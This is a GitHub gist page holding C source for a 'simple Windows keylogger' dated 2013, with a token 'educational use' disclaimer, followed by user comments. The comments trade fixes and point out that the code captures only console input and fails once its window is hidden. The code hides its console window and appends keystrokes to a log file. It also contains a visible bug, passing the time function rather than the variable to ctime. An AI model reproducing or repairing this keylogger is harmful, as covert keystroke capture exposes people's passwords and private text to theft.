-
-
Save patilswapnilv/7338783 to your computer and use it in GitHub Desktop.
/* | |
Simple WINDOWS keylogger by jkrix 2013. | |
User may distribute and modify source code but MUST keep this top commented section in the source code! | |
Very important note: | |
To be used for educational use and not for malicious tasks! | |
I will NOT be held responsible for anything silly you may do with this! | |
*/ | |
#include <stdio.h> | |
#include <conio.h> | |
#include <windows.h> | |
#include <time.h> | |
#define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file | |
int main(){ | |
char capture; | |
FILE *file; | |
// Time stuff. | |
time_t t; | |
t = time(NULL); | |
// Hide the window | |
HWND window; | |
AllocConsole(); | |
window=FindWindowA("ConsoleWindowClass",NULL); | |
ShowWindow(window,0); | |
file = fopen(PATH, "a+"); | |
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time)); | |
while(1) | |
{ | |
Sleep(20); // To make sure this program doesn't steal all resources. | |
if (kbhit()) | |
{ | |
capture = getch(); | |
// Just add in some helper strings here to the file, feel free to modify these to your needs. | |
switch ((int)capture){ | |
case ' ': // Space key...obviously. | |
fprintf(file, " "); | |
break; | |
case 0x09: // Tab key. | |
fprintf(file, "[TAB]"); | |
break; | |
case 0x0D: // Enter key. | |
fprintf(file, "[ENTER]"); | |
break; | |
case 0x1B: // Escape key. | |
fprintf(file, "[ESC]"); | |
break; | |
case 0x08: // Backspace key. | |
fprintf(file, "[BACKSPACE]"); | |
break; | |
default: | |
fputc(capture,file); // Put any other inputted key into the file. | |
} | |
if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want. | |
fclose(file); | |
return 0; | |
} | |
} | |
} | |
} |
well the control is not entering the if(Kbhit()) bloc, am not getting why???..Plzz explain...( and am running it in Dev c++)
because the application in fact is not getting any input...
"Nothings being written to the file" Same here, I remade the log's Path, but it do not actually working, the log file stays empty. Can someone explain it's reason to me? Nice code, without any bug btw:)
It is simply becouse the file never gets closed, therefore saved. I fixed this by adding this lines which save it for every 100 keys pressed, the original version of this code fixed that by adding an escape sequence when [esc] is pressed which also ended the code
if (a++ > 100) { a=0; fclose(file); file = fopen("LOG2.txt", "a+"); }
But even with this addition this code sample is still useless as it only saves letters directly inputted to the console.
unable to stop this program once executed ......
you can stop it in task manager
i think this program needs to be in focus to work, but hiding it prevents that, so no matter what ou change in the code, if you don't fix that, you won't be able to get it to work...